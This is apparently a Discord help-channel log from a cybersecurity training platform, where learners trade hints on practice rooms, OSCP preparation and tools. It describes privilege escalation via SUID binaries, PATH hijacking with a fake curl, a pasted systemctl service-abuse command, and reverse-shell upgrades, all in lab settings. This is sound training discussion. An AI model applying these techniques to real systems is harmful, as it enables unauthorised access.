fleet wedge Mar 7, 2020, 2:42 PM

#

Mhm

fringe pasture Mar 7, 2020, 2:42 PM

#

which gives perm denied

fleet wedge Mar 7, 2020, 2:42 PM

#

Mhm

#

You have to use your other tools to get access to root

chrome valve Mar 7, 2020, 2:43 PM

#

Think laterally, @fringe pasture. You can't get it directly, so look for other things first

fleet wedge Mar 7, 2020, 2:43 PM

#

But that doesn't mean it's a conventional priv esc

fringe pasture Mar 7, 2020, 2:44 PM

#

k so im as user shiba4 from there we need to get the root or is there anyother acc ?

chrome valve Mar 7, 2020, 2:44 PM

#

Are there other accounts?

#

You tell us

fleet wedge Mar 7, 2020, 2:45 PM

#

@fringe pasture what you need was actually mentioned in a task in the room

#

So if you're completely in doubt you can go back through some of the tasks :)

fringe pasture Mar 7, 2020, 2:45 PM

#

yea

📎 unknown.png

terse herald Mar 7, 2020, 2:46 PM

#

And those different users will have different permissions to certain things right? Like in the tasks you've completed

chrome valve Mar 7, 2020, 2:46 PM

#

Mmhmm, so go exhaust every possibility. You've not tried those accounts, so try to get into them 😄

#

And yeah, all the tools you need are taught in the room. Linpeas doesn't do anything (been there, tried that)

terse herald Mar 7, 2020, 2:47 PM

#

^^

fleet wedge Mar 7, 2020, 2:47 PM

#

Lol

chrome valve Mar 7, 2020, 2:47 PM

#

Put it this way. You're enumerating just now, so which of those tools are best at looking for stuff

fringe pasture Mar 7, 2020, 2:48 PM

#

find, grep

#

locate

fleet wedge Mar 7, 2020, 2:48 PM

#

There ya go

chrome valve Mar 7, 2020, 2:48 PM

#

Mmhm. Happy hunting!

fleet wedge Mar 7, 2020, 2:51 PM

#

@fringe pasture please don't randomly dm members

#

That is a violation of rule 1

chrome valve Mar 7, 2020, 2:52 PM

#

!rules

frank troutBOT Mar 7, 2020, 2:52 PM

#

TryHackMe

Rules

1.

No unsolicited direct messages (DMs) to other members of the discord. This includes staff. Verify that the member you are messaging is ok with you sending them DMs.

2.

No personal drama or drama from any other discord community is allowed to be brought into this discord. This is a space for infosec discussions and learning, keep it that way.

3.

No excessive self promotion. Linking to another discord server is strictly prohibited, just don't turn it into advertising.

4.

Keep it civil. If action is necessary in a dispute or any other sort of disruption on this discord punishment will be doled out evenly both to the individual(s) who started the issue and to those who reacted inappropriately in their response.

5.

No cheating is allowed whatsoever within this discord. Any cheating (other than specifically within a developmental environment where it has been preapproved by staff) will result in an immediate and permanent ban.

6.

Racism is not tolerated and will result in a permanent ban.

7.

Administrators reserve the right to modify the rules at any time and extend them accordingly to cover infractions which may not be currently included in these rules.

8.

Keep conversations SFW (Safe for work). This is an educational and professional environment, be sure that your words do not offend or make other members uncomfortable.

chrome valve Mar 7, 2020, 2:52 PM

#

Does that work?

fleet wedge Mar 7, 2020, 2:52 PM

#

If you want to get some help in dms please ask the members if you can dm them

chrome valve Mar 7, 2020, 2:52 PM

#

Oooh, that works

terse herald Mar 7, 2020, 2:52 PM

#

handy to know that works

chrome valve Mar 7, 2020, 2:52 PM

#

Yep

fleet wedge Mar 7, 2020, 2:53 PM

#

Mhm

long pendant Mar 7, 2020, 5:23 PM

#

Put it this way. You're enumerating just now, so which of those tools are best at looking for stuff
@chrome valve @fringe pasture Can anybody DM to help me with the last step? I feel like I'm close but... still stuck.

chrome valve Mar 7, 2020, 5:24 PM

#

DM with what you've tried so far @long pendant

long pendant Mar 7, 2020, 5:46 PM

#

DM with what you've tried so far @long pendant
@chrome valve Thanks all for the help.

fleet wedge Mar 8, 2020, 2:51 AM

#

hi

#

anyone can help me with this task ?

#

[Task 21] Binary - shiba2

#

from Linux Room

chrome valve Mar 8, 2020, 2:52 AM

#

Switch over to #room-help, then yes, sure 😄

signal pumice Mar 8, 2020, 1:03 PM

#

I'm working on the blue box, I've run ms17-010 before but its failing. I ran it yesterday on the box but my VPN connection dropped so i lost shells, Now I can't fire the exploit again?

#

📎 unknown.png

#

Should I be running it manually?

#

📎 unknown.png

spark iron Mar 8, 2020, 1:19 PM

#

There is a video for Blue coming soon

#

Which will help

#

Its just going to be edited

signal pumice Mar 8, 2020, 1:19 PM

#

Ah nice one

#

Just strange how it worked first time and not now :P

spark iron Mar 8, 2020, 1:26 PM

#

Yeah Blue is a little dodgy

#

Will be made clear once "Known Issues" have been added to THM Room tabs:)

fleet wedge Mar 8, 2020, 3:57 PM

#

How many machines are on the OSCP path ?

steel mural Mar 8, 2020, 3:59 PM

#

Is it the same issue for everyone?? Like the connection just drops when you try to load the post module?

burnt agate Mar 8, 2020, 4:19 PM

#

yh, i managed to get past it tho

#

regen the vpn and reinstall

steel mural Mar 8, 2020, 4:19 PM

#

Thanks will try :)

fleet wedge Mar 8, 2020, 4:41 PM

#

@spark iron hi

spark iron Mar 8, 2020, 4:43 PM

#

hi

fleet wedge Mar 8, 2020, 5:04 PM

#

@spark iron how many machines are in the OSCP Path please ?

spark iron Mar 8, 2020, 5:13 PM

#

📎 unknown.png

fleet wedge Mar 8, 2020, 5:25 PM

#

That's amazing 👍 thanks

spark iron Mar 8, 2020, 5:32 PM

#

No worries

fleet wedge Mar 8, 2020, 5:39 PM

#

@spark iron will be taking it after my Virtual Hacking Labs

spark iron Mar 8, 2020, 5:39 PM

#

Awesome nay worries

fleet wedge Mar 8, 2020, 5:41 PM

#

👍

brittle gazelle Mar 8, 2020, 6:48 PM

#

hey

fathom rapids Mar 8, 2020, 7:44 PM

#

hi guys, is there someone who completed gamezone?

hard shoal Mar 8, 2020, 9:31 PM

#

Ive completed most of the OSCP labs are there any other that are worth doing ? got my exam coming up soon so trying get in as much practice as possible.

fleet wedge Mar 8, 2020, 9:37 PM

#

@hard shoal oooo

#

Good luck!

#

You can try some of @chrome valve's rooms

chrome valve Mar 8, 2020, 9:38 PM

#

Hehe. Annoying though they are, are they really helpful for OSCP? 😛

fleet wedge Mar 8, 2020, 9:38 PM

#

Theyre useful for research practice

chrome valve Mar 8, 2020, 9:38 PM

#

If you're after some fun, go try them though @hard shoal -- admittedly, I'm biased 😁

#

True...

fleet wedge Mar 8, 2020, 9:38 PM

#

As they offer some how shall we say

#

"unusual" techiques

hard shoal Mar 8, 2020, 9:39 PM

#

Cool will take a look

chrome valve Mar 8, 2020, 9:39 PM

#

You're not wrong there 😆

fleet wedge Mar 9, 2020, 1:02 AM

#

howdy

#

practicing burp using OSPCP learning path... but no matter what I do, "intruder" does not work or not able to identify the proper extension

#

can someone help me?

#

I am using "sniper"

#

📎 unknown.png

#

Not even a simple payload / single extension works

📎 SPOILER_unknown.png

final vault Mar 9, 2020, 1:32 AM

#

if you're only testing for .phtml and it's wrong then maybe it won't return anything

#

I assume this is an upload too right?

#

Unless you know for certain it's .phtml in which case you can just upload a phtml file

fleet wedge Mar 9, 2020, 1:34 AM

#

hi there

#

well, the exercise is to find acceptable extensions

#

I already know the acceptable extension (not using burp) but can't make burp to work

#

that's actually the right extension, I just deleted the previous file to troubleshoot and leave that one, still does not work

fleet wedge Mar 9, 2020, 2:06 AM

#

Fixed! the "URL encode" option was my problem. I unchecked that and it worked

fathom rapids Mar 9, 2020, 5:08 PM

#

hola guys, I started skynet. the hint is ||to enumerate samba|| but if I didn't see the hint, Idk how can we know we have to enumerate for that. nmap shows only a ||port 53 tcp open||

#

any advice?

final vault Mar 9, 2020, 5:09 PM

#

You may if nmapped before all services are open

fathom rapids Mar 9, 2020, 5:40 PM

#

what do you mean

final vault Mar 9, 2020, 5:49 PM

#

Rooms take a while to setup

#

So if you ran your port scan early it may not show all results

brazen tiger Mar 10, 2020, 12:07 AM

#

Hi

#

Not able to find root.txt on the indicated directory for alfred box

#

Normal?

fleet wedge Mar 10, 2020, 12:26 AM

#

I have not worked on that one yet, but how are you looking for? via "locate" command?

#

if that's the case, run upatedb to refresh the database

#

or try find / -iname root.txt

hasty sentinel Mar 10, 2020, 12:30 AM

#

@brazen tiger you need to migrate to a system process

fleet wedge Mar 10, 2020, 1:16 AM

#

I'm stuck on the priv escalation part of Vulnversity

#

Have you found the special binary @fleet wedge

#

I know I can execute a given file with elevated priv

#

Have you found that file?

#

got a low priv shell

#

Yes, I know is one that has suid

#

Then you should research

#

How to priv esc using that binary

#

Infact

#

The THM bot has a command that can help you 😁

#

I did, created the file that suppose to give me root but nothing

#

hmmm

#

Play around with what you're told to do

#

THM bot?

#

||are you using GTFO bins||

#

sorry, no idea what is that

#

It's a site that gives you information on how to priv esc using certain binaries

#

Let's go over to #bot-commands @fleet wedge

#

argh... lost the shell .. ... and IP vanished

#

the machine went off... this is the 2nd time it happened

fleet wedge Mar 10, 2020, 2:05 AM

#

I guess I will leave it for today... still stuck on priv escalation for vulnversity

#

part of the problem is that I can't even use nano. And even when creating a file with "echo", the file does nothing after I try to execute and get a root shell

#

😩

#

Why can't you use nano

#

@fleet wedge

#

I get an error

#

$ nano test.txt
Unable to create directory /var/www/.nano: Permission denied
It is required for saving/loading search history or cursor positions.

Press Enter to continue

#

Ye

#

But you can still use it

#

Do you have a proper shell or a reverse shell

#

well, I don't know how

#

I have a low priv shell

#

I just need a root shell

#

Reverse or proper tho

#

reverse after uploading a file to the webserver

#

Then I recommend

#

Downloading a static binary of socat

#

Onto the server

#

And using that to get a shell

final vault Mar 10, 2020, 2:09 AM

#

could always just create a python pty shell

#

upgrade into full interaction

fleet wedge Mar 10, 2020, 2:09 AM

#

Yeah but that's still iffy with nano @final vault

#

Socat just works

#

And that's what I like about it

#

could always just create a python pty shell
@final vault did that, still nano does not work

final vault Mar 10, 2020, 2:10 AM

#

could always just make it on your machine

fleet wedge Mar 10, 2020, 2:10 AM

#

An option^

#

an upload via nc?

#

I am trying to follow this: https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49

Medium

Privilege Escalation: Leveraging misconfigured systemctl permissions

The binary, systemctl, is a process that exists in linux operating systems that is used to start different services, such as apache…

#

not sure if that's a spoiler

final vault Mar 10, 2020, 2:11 AM

#

You have curl and wget I assume

fleet wedge Mar 10, 2020, 2:11 AM

#

have not checled

#

I guess

#

I will try to use nc or python webserver and upload

#

maybe tomorrow, I am tired... but am I on the right dirfection?

#

Yeah take a break for now

#

You've got the right idea

#

Maybe some sleep will clear the head

#

9pm here... agree.... time to play some PES2020

#

LOL

#

Thank you all!

#

Cheers

#

<3 @fleet wedge

obtuse scaffold Mar 10, 2020, 3:18 AM

#

If you can't get a shell back, upload a suid C program and use the exploit to change the owner and suid to root

#

I couldn't seem to get a working shell from systemctl exploit so had to do that

fleet wedge Mar 10, 2020, 9:07 AM

#

.sudo_as_admin_successful -why i cant view this file

fleet wedge Mar 10, 2020, 3:09 PM

#

@fleet wedge what’s your question , exactly?

#

DM me if you still need help

#

No

#

I finished the room

fleet wedge Mar 10, 2020, 4:00 PM

#

Good job

fathom rapids Mar 10, 2020, 6:53 PM

#

can someone clarifies me a thing on burp's sniper attack?

glad silo Mar 11, 2020, 12:38 AM

#

@fathom rapids wat kind of questions do yo have

#

Can I get hint on "What file server is running?"... I know the name of the service, but wat they need me to fill in there 🤦‍♂️

#

Steel Mountain

#

Also name of the server 🙂

glad silo Mar 11, 2020, 1:11 AM

#

@fleet wedge maybe you can help me with this question?

fleet wedge Mar 11, 2020, 1:12 AM

#

@glad silo are you providing the name of the protocol or the name of the service

glad silo Mar 11, 2020, 1:15 AM

#

I'm providing Server Name with Protocol as the first word 🙂 I know that I'm missing something here, can't figure out what... 😦

fleet wedge Mar 11, 2020, 1:15 AM

#

DM me your answer @glad silo

fleet wedge Mar 11, 2020, 3:07 AM

#

What's the purpose of upgrading the shells in metasploit in task#3 , for "Blue" ?

#

I did it but I don't see the point. Does not the initial Windows shell that was obtained runs on a high privilege? Why we need to create a 2nd session again? Maybe I misunderstood the exercise or I'm missing something

blissful nest Mar 11, 2020, 4:06 AM

#

I am stuck on priv escalation of Vulnersity :/
after 4 hours, I gave up and followed write ups, but I keep getting this below error
www-data@vulnuniversity:/opt$ /bin/systemctl enable --now $priv
/bin/systemctl enable --now $priv
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.rkdS8byk8r.service to /tmp/tmp.rkdS8byk8r.service.
Failed to start tmp.rkdS8byk8r.service: Unit tmp.rkdS8byk8r.service is not loaded properly: Invalid argument.
See system logs and 'systemctl status tmp.rkdS8byk8r.service' for details.

fleet wedge Mar 11, 2020, 5:17 AM

#

@blissful nest do you understand why and how you need to elevate the priv ?

#

Feel free to PM me if you still need help with vulnersity

fallen herald Mar 11, 2020, 5:58 AM

#

for vulnversity did anyone else not have access to the website? gobuster scan was fine, i have a connection but when i enter IP in the browser, im unable to connect. My session is still running and everything

#

I'm using the provided Kali 2020 box over RDP

lofty kite Mar 11, 2020, 10:34 AM

#

I'm having trouble just scanning it

narrow nexus Mar 11, 2020, 1:16 PM

#

How long does Ospc path last?

lofty kite Mar 11, 2020, 1:18 PM

#

📎 oscp_prep_path.png

fleet wedge Mar 11, 2020, 2:11 PM

#

@fallen herald be sure the VM is up and running . And be sure you’re using the right port / socket when typing the url

#

@lofty kite check nmap flags. If the VM is up and running , nmap will work just fine . But sometimes you gotta adjust nmap flags .

blissful nest Mar 11, 2020, 4:16 PM

#

scripts like lse.sh or similar ones are allowed on OSCP exam?

final vault Mar 11, 2020, 4:31 PM

#

Yes

fleet wedge Mar 11, 2020, 4:32 PM

#

@blissful nest You can use whatever as long as its NOT a commercial tool or automate the exploitation process

grave patio Mar 11, 2020, 4:35 PM

#

has anybody done the gamezone box manually when it comes to privesc?

fleet wedge Mar 11, 2020, 4:47 PM

#

@narrow nexus each phase / step has an estimated amount of Hours you’ll have to invest. But if it will take more or less , I guess will depend of your commitment and expertise

#

I personally try to not rush the process so I can learn

jagged socket Mar 11, 2020, 5:34 PM

#

@blissful nest you should try linpeas ;)

blissful nest Mar 11, 2020, 5:51 PM

#

looks really awesome

#

thanks @jagged socket

#

I am beginner, here for such cool tips/tricks

#

@fleet wedge thanks a lot!

jagged socket Mar 11, 2020, 5:52 PM

#

no problem mate, good luck for oscp! it’s great learning curve

blissful nest Mar 11, 2020, 5:52 PM

#

it is!!

#

so much to learn!

jagged socket Mar 11, 2020, 5:52 PM

#

after the overhaul, for sure!

fleet wedge Mar 11, 2020, 7:09 PM

#

@blissful nest np, enjoy . I’m also completing “OSCP path”, so I’ll be around here in case of further questions and I’m sure I may need help too 😉

cobalt sigil Mar 12, 2020, 10:05 AM

#

I need help on alfred, it's constantly timing out

#

even after building the project

#

also configSubmit is taking too long

wraith echo Mar 12, 2020, 10:35 AM

#

Guys, I need a tip regarding lord of the root box

#

Should sqlmap provide me with some information or spit up garbage?

#

Because I cannot use it to exploit login form

wraith echo Mar 12, 2020, 11:04 AM

#

Additionally - don't you think, boxes in OSCP Prep Learning Path should be prepared without need of sqlmap? It is banned on OSCP itself

bronze zenith Mar 12, 2020, 11:08 AM

#

there are multiple rooms which use sqlmap (example: CC Pentesting), but as i remember, there are rooms coming up about sqli

final vault Mar 12, 2020, 11:08 AM

#

@wraith echo I'm pretty sure this has been acknowledged before and is something that is being worked on

wraith echo Mar 12, 2020, 11:08 AM

#

Oh, okay

#

good to know

#

@bronze zenith I know

final vault Mar 12, 2020, 11:08 AM

#

It's also a choice to use sqlmap

#

for in oscp there are plenty of rooms which are vulnerable to metasploit modules. But it's down to the user to know how to manually exploit it or adapt a normal script to exploit

wraith echo Mar 12, 2020, 11:09 AM

#

@final vault It is not in this case. I know that you can do everything manually, but in case of time based sqli it is not plausible for user to do this manually.

#

Thats why if there is some SQLi on OSCP, it is relatively easy one

#

So I think, that should be the path of THM OSCP Labs

final vault Mar 12, 2020, 11:11 AM

#

@spark iron @hasty sentinel Probably the best two to see this. Some nice feedback on the oscp path

hasty sentinel Mar 12, 2020, 11:14 AM

#

yeah good note :))

#

I'm in the process of updating the path

#

We're going to update boxes to include walkthroughs without metasploit

#

We'll look into adding a SQL injection box :))

thorn patio Mar 12, 2020, 1:08 PM

#

hi team .what badge i can get aafter finishing the Begineer path

bronze zenith Mar 12, 2020, 1:20 PM

#

you get badges for completing rooms

#

https://tryhackme.com/badges

TryHackMe | Badges

TryHackMe is an online platform for learning and teaching cyber security.

#

see the list here

thorn patio Mar 12, 2020, 1:28 PM

#

k

obtuse scaffold Mar 12, 2020, 1:45 PM

#

If you want to learn about manual SQLi you can either use proxy on sqlmap to study the requests in burp or go through the portswigger exercises on their website

buoyant mica Mar 12, 2020, 2:13 PM

#

Any one can guide me on hackpark ? hydra is taking forever

sly fable Mar 12, 2020, 4:02 PM

#

I cannot connect to any machine. I am using the VPN connection, I deployed the machine, yet I cannot ping or access any machine. I tried Hackpark and Steel Mountain

spark iron Mar 12, 2020, 4:06 PM

#

Are you defo connected?

fleet wedge Mar 12, 2020, 4:11 PM

#

howdy

chrome valve Mar 12, 2020, 4:11 PM

#

Hackpark and Steel Mountain are both windows boxes. You won't be able to ping them, or use nmap without -Pn @sly fable

fleet wedge Mar 12, 2020, 4:12 PM

#

can someone please PM me and double check my john the ripper syntax for a password cracking task?

#

I'm 99.9% sure is correct, but not working for the password cracking task for Blue

sly fable Mar 12, 2020, 4:20 PM

#

Hackpark and Steel Mountain are both windows boxes. You won't be able to ping them, or use nmap without -Pn @sly fable
@chrome valve Yesterday I was able to access the website on Hackpark server. Today I cannot

chrome valve Mar 12, 2020, 4:21 PM

#

Sounds like a VPN problem then. Try ps aux | grep openvpn

#

If there's more than one connection then you have a problem.

drowsy kelp Mar 12, 2020, 4:37 PM

#

hi can anyone please confirm where to purchase the pro voucher

spark iron Mar 12, 2020, 4:38 PM

#

Anwered you in #general

toxic temple Mar 12, 2020, 4:38 PM

#

As a rule of thumb if you don't get an answer immediately don't then send the same question in every channel until you do

#

That's literally spam

digital sonnet Mar 12, 2020, 4:42 PM

#

Hey everyone, my hashcat seems to be working really slow. I am running it on a 1050Ti but my gpu shows only 1-2% usage. What could be the problem?

obtuse scaffold Mar 12, 2020, 4:43 PM

#

dont think it works from gpu automatically

#

should work through rockyou in like 40 seconds tho

digital sonnet Mar 12, 2020, 4:44 PM

#

I am running it on my windows machine, it's really slow like 0.1% done in a 10 mins

final vault Mar 12, 2020, 4:44 PM

#

@digital sonnet if you’re using a vm it won’t go near gpu

digital sonnet Mar 12, 2020, 4:44 PM

#

and I have selected my gpu

fleet wedge Mar 12, 2020, 4:49 PM

#

Go it now... Thanks @obtuse scaffold

sly fable Mar 12, 2020, 5:18 PM

#

If there's more than one connection then you have a problem.
@chrome valve Worked after killing openvpn
pkill openvpn

chrome valve Mar 12, 2020, 5:18 PM

#

That'd do it

fleet wedge Mar 12, 2020, 11:06 PM

#

Question ... on Kenobi, task#2 ... is it asking for distinct open ports? or the sum of UDP plus TCP open ports? blobhuh

#

can someone please clarify?

clever badger Mar 12, 2020, 11:23 PM

#

Its all the UDP ports + all the TCP ports added together

fleet wedge Mar 13, 2020, 1:41 AM

#

I am sorry, but I think Kenobi, task#2, is wrong or the answer is not properly formulated

#

I do not agree with the proposed answer, and I've spent quite some time researching because I thought I was wrong, but I am not

simple kestrel Mar 13, 2020, 9:55 AM

#

@fleet wedge check out my last twitch.tv video

#

That might help

slim gust Mar 13, 2020, 10:08 AM

#

For Windows machine, where is root flag locate at ?

thorn patio Mar 13, 2020, 10:53 AM

#

Hi guys need a help in Hackpark, to escalate privelege , now i am having a MSF SHell

fleet wedge Mar 13, 2020, 11:24 AM

#

@simple kestrel hi... help with ?

simple kestrel Mar 13, 2020, 11:25 AM

#

Yea on?

#

Pm

fleet wedge Mar 13, 2020, 11:25 AM

#

You mean , the issue with nmap answer ? For kenobi?

#

I’m positive answer is wrong

#

there are more open ports on that box.

simple kestrel Mar 13, 2020, 11:27 AM

#

Yea let's chat in PM to not spoil

thorn patio Mar 13, 2020, 12:52 PM

#

hi anybody can help me on BOX: https://tryhackme.com/room/hackpark , for these question i have ROOTED

📎 unknown.png

TryHackMe | Why Subscribe

TryHackMe is an online platform for learning and teaching cyber security.

#

it

thorn patio Mar 13, 2020, 1:40 PM

#

anybody there !!!!!!!1

hard shoal Mar 13, 2020, 1:52 PM

#

How have you rooted the box if you cant answer what binary you should exploit ?

thorn patio Mar 13, 2020, 2:01 PM

#

i have used the windwos-exploit suggester

#

and it gaves me a priv esc with metapsploit module , so i have dont that

hard shoal Mar 13, 2020, 2:04 PM

#

Ok cool I don't think that the intended way but owning the box is owning the box.

thorn patio Mar 13, 2020, 2:04 PM

#

yes @hard shoal

#

but i need only for question 4

#

i have founded the question 3

hard shoal Mar 13, 2020, 2:06 PM

#

Look at the hint as that helped me because its not the program you think it is.

thorn patio Mar 13, 2020, 2:06 PM

#

h athats annoying

#

thats*

#

whehter i sholud connect with the remote desktop to od that ?

📎 unknown.png

#

to open the event log

hard shoal Mar 13, 2020, 2:12 PM

#

I think I connect via RDP as made slight easier to review stuff.

thorn patio Mar 13, 2020, 2:14 PM

#

yes thanks boss

#

hey cant connect

#

to rdp

fleet wedge Mar 13, 2020, 2:36 PM

#

I think I connect via RDP as made slight easier to review stuff.
@hard shoal Do you mind editing your post and remove the initial part? to keep the fun for others and avoid spoilers 😉

#

better to PM people directly next time, and discuss details about a room that way, my 2 cents

hard shoal Mar 13, 2020, 2:46 PM

#

Has anyone done brainstorm here ? Im stuck and not really sure why what I am doing is not working.

fleet wedge Mar 13, 2020, 4:18 PM

#

what's relationship between that SUID file in kenobi and /bin/sh and curl? I do not understand why we had to copy that to gain root, or why I ended getting root, if I never touched the SUID file. Can someone please explain that to me?

alpine peak Mar 13, 2020, 7:08 PM

#

@fleet wedge SUID on a binary means when ran, it takes on the permission of the owner of the binary, when a binary is calling another file without an absolute path, it uses the $PATH variable to find that file, and that allows you to trick the SUID binary to call your own fake curl thats located in the $PATH before the real curl. so the result is you can run your own file as root.

#

The attack would not be possible if it called an absolute path since the PATH variable would not be needed

fleet wedge Mar 13, 2020, 8:20 PM

#

Thanks . It’s just that it is not so clear in the explanation / question, that you have to inspect that file’s content in order to modify the “fake” curl

#

There’s an image but nothing tells you where the image came from , it’s confusing , at least to me

#

I spend like 1 hr reading and re reading till finally got it

alpine peak Mar 13, 2020, 8:21 PM

#

if you use strings you can see its calling curl without an absolute path

fleet wedge Mar 13, 2020, 8:21 PM

#

Not the exercise , but where the image came from

#

@alpine peak Yes but it doesn’t tell against WHAT you have to run string to

alpine peak Mar 13, 2020, 8:22 PM

#

you use the find command to search system wide for SUID

chrome valve Mar 13, 2020, 8:22 PM

#

The only file that you've been looking at for the task @fleet wedge
Why would it suddenly change focus?

fleet wedge Mar 13, 2020, 8:23 PM

#

Maybe I’m not explaining myself properly

#

The question is not clear

chrome valve Mar 13, 2020, 8:23 PM

#

In the first question of that task it asked you to find a file, which you presumably did

#

Yes?

fleet wedge Mar 13, 2020, 8:23 PM

#

Correct

alpine peak Mar 13, 2020, 8:23 PM

#

I didn't write the questions, I just know what the machine contains

chrome valve Mar 13, 2020, 8:23 PM

#

Well, given you already found the file, why would the questions suddenly be about a different one?

#

It's the context of the task

fleet wedge Mar 13, 2020, 8:24 PM

#

What suid does , what it is , etc , that’s clear

#

Because it doesn’t explain the attack vector and related to the image

#

I would have elaborate more in the explanation about what’s that image coming from

chrome valve Mar 13, 2020, 8:25 PM

#

📎 unknown.png

#

That would be this paragraph here

fleet wedge Mar 13, 2020, 8:25 PM

#

I am mobile now so can’t check

chrome valve Mar 13, 2020, 8:25 PM

#

That paragraph is explaining how the attack works

alpine peak Mar 13, 2020, 8:26 PM

#

yea, it doesn't have to be /bin/sh but I don't see the problem

chrome valve Mar 13, 2020, 8:26 PM

#

However, I think that there might be a mistake there

#

@alpine peak, am I being stupid, or should the last sentence say /bin/sh, not /usr/bin?

alpine peak Mar 13, 2020, 8:26 PM

#

yea, that's a typo

chrome valve Mar 13, 2020, 8:26 PM

#

I'll throw it over in bugs

fleet wedge Mar 13, 2020, 8:27 PM

#

Thanks

chrome valve Mar 13, 2020, 8:27 PM

#

The typo

#

I'm still not convinced there's a problem with the question

#

Although I'll ask for it to be reviewed as well

fleet wedge Mar 13, 2020, 8:27 PM

#

Well, I would rephrase the question but can’t elaborate more Until I get home

alpine peak Mar 13, 2020, 8:27 PM

#

@spark iron typo in question on Kenobi

#

He will see the chat and fix it

rare dock Mar 13, 2020, 8:28 PM

#

Guys I have a question. Lets say I know some basic XSS exploitation, WAF evasion, SQLi etc. I know more about web pentesting and I am very very interested in learning some linux/windows pentesting as well. Is getting the subscription and enrolling in paths a good idea to "learn" in your opinion? Or should I stick to books and hackthebox?

chrome valve Mar 13, 2020, 8:29 PM

#

Just posted that in #site-bugs as well. It's the same question, if you read this Skidy

alpine peak Mar 13, 2020, 8:29 PM

#

PWK by Offensive Security is the best, cert based training

rare dock Mar 13, 2020, 8:29 PM

#

PWK by Offensive Security is the best
@alpine peak For learning? Or for getting certified?

alpine peak Mar 13, 2020, 8:29 PM

#

Learning

chrome valve Mar 13, 2020, 8:30 PM

#

Yes, it's worth it though. PWK will teach you the most, but the THM stuff is really good too

alpine peak Mar 13, 2020, 8:30 PM

#

well both

chrome valve Mar 13, 2020, 8:30 PM

#

Good affordable option certainly

alpine peak Mar 13, 2020, 8:30 PM

#

PWK is a lab env

regal lark Mar 13, 2020, 8:30 PM

#

THM?

fleet wedge Mar 13, 2020, 8:30 PM

#

@rare dock for leaning ? This site and VHL

regal lark Mar 13, 2020, 8:30 PM

#

haha this chan

rare dock Mar 13, 2020, 8:30 PM

#

Well PWK is a bit pricier than THM, so ill grab it for now, and PWK will come next. How do you guys like eLearnSecurity courses?

#

I have slides for Penetration Testing Professional

#

very nice, indepth info

#

I can share if ya want

alpine peak Mar 13, 2020, 8:31 PM

#

THM is working on implementing full networks for pentesting training

fleet wedge Mar 13, 2020, 8:31 PM

#

OffSec material (old at least ) is not good enough in my opinion

alpine peak Mar 13, 2020, 8:31 PM

#

Its new

rare dock Mar 13, 2020, 8:31 PM

#

PWK got an update if I recon correctly

#

so its hot af rn

fleet wedge Mar 13, 2020, 8:31 PM

#

ELearning courses is great too, but this learning path is good so far , I like it

alpine peak Mar 13, 2020, 8:31 PM

#

Yea, offsec knows what they're talking about when it comes to this subject, which is why I recommended them for training

rare dock Mar 13, 2020, 8:32 PM

#

Okay. Thank you very much guys! 🙂

fleet wedge Mar 13, 2020, 8:32 PM

#

@alpine peak i respectfully disagree . The cert is very good but it’s teaching material and methods , not so much

alpine peak Mar 13, 2020, 8:32 PM

#

Why?

#

Have you done their course?

fleet wedge Mar 13, 2020, 8:33 PM

#

Yes

#

That’s why I’m talking about

alpine peak Mar 13, 2020, 8:33 PM

#

I did it also

#

The US government seems to agree with their course for training also

fleet wedge Mar 13, 2020, 8:34 PM

#

Compared to tryhackme and VHL, and eLearning their training material lacks

alpine peak Mar 13, 2020, 8:34 PM

#

They expect you to research on your own, hint the "Try Harder" motto

fleet wedge Mar 13, 2020, 8:34 PM

#

They “throw you to the pool” so you can swim

#

Bad teaching method

alpine peak Mar 13, 2020, 8:35 PM

#

Depends

fleet wedge Mar 13, 2020, 8:35 PM

#

Again, not talking about the cert

#

I respect the cert itself but that’s probably a conversion for another chat / room

alpine peak Mar 13, 2020, 8:35 PM

#

They don't claim PWK is a beginner level course

fleet wedge Mar 13, 2020, 8:35 PM

#

And doesn’t have to be

alpine peak Mar 13, 2020, 8:35 PM

#

If you want your hand held, I would recommend something else

fleet wedge Mar 13, 2020, 8:36 PM

#

“Hand held” and proper training is not the same

#

The “try harder” method is most of the time people telling you ... try again

#

With no explanation whatsoever

alpine peak Mar 13, 2020, 8:36 PM

#

Try Harder is proper training because the whole idea of hacking is to be in ignorance about the machine you're attacking

#

When you get into the industry, who is going to give you answers?

fleet wedge Mar 13, 2020, 8:37 PM

#

You can learn with proper guidance

#

You will always have someone or something you can rely on

#

But again, this topics is not for this room

alpine peak Mar 13, 2020, 8:37 PM

#

Someone who actually can "Try Harder" you are correct

fleet wedge Mar 13, 2020, 8:38 PM

#

No, a proper mentor

#

Someone who can guide you without spoiling the learning process

spark iron Mar 13, 2020, 8:38 PM

#

@alpine peak, am I being stupid, or should the last sentence say /bin/sh, not /usr/bin?
Thanks Fixed:)

alpine peak Mar 13, 2020, 8:42 PM

#

Its good to have a guide if you're a beginner, but once you get into it, you need have highly developed enumeration skills for when blackbox pentesting happens. Getting answers creates a bad habit in my opinion, of giving up on something you can't figure out and you won't always have someone to give you those answers

fleet wedge Mar 13, 2020, 8:43 PM

#

OSCP is a beginner / foundational course . That’s how is being marketed by OffSec

alpine peak Mar 13, 2020, 8:43 PM

#

Its a buzz word

fleet wedge Mar 13, 2020, 8:43 PM

#

You keep pairing the concept “giving answers” with “proper training”, they are not the same .

alpine peak Mar 13, 2020, 8:43 PM

#

Pentesting is not a beginner level field

fleet wedge Mar 13, 2020, 8:43 PM

#

The best example , again, this site , virtual hacking labs

#

If you haven’t seen it, enroll , or eLearning , then you may understand what I’m saying

alpine peak Mar 13, 2020, 8:44 PM

#

There is a difference between real life and CTF machines, The OSCP path was developed from offsec

#

You can't give credit to the OSCP path without giving credit to PWK

fleet wedge Mar 13, 2020, 8:45 PM

#

I will go beyond , if PTP was much more popular , I can assure you people would be pursuing that one instead

#

And the main reason why OffSec copies and updated their material this year , which has been already done by eLearning

#

As an A+ “HR filter”, OSCP excels

alpine peak Mar 13, 2020, 8:47 PM

#

It excels literally because of "Try Harder"

fleet wedge Mar 13, 2020, 8:47 PM

#

My opinion is that PTP is way better

#

@alpine peak you know ? Whatever man

#

Gotta go, let’s agree to disagree

alpine peak Mar 13, 2020, 8:48 PM

#

Yea, the ideals are just different, I just believe "Try Harder" because it worked for me

fleet wedge Mar 13, 2020, 8:48 PM

#

@alpine peak and that’s a valid point

alpine peak Mar 13, 2020, 8:49 PM

#

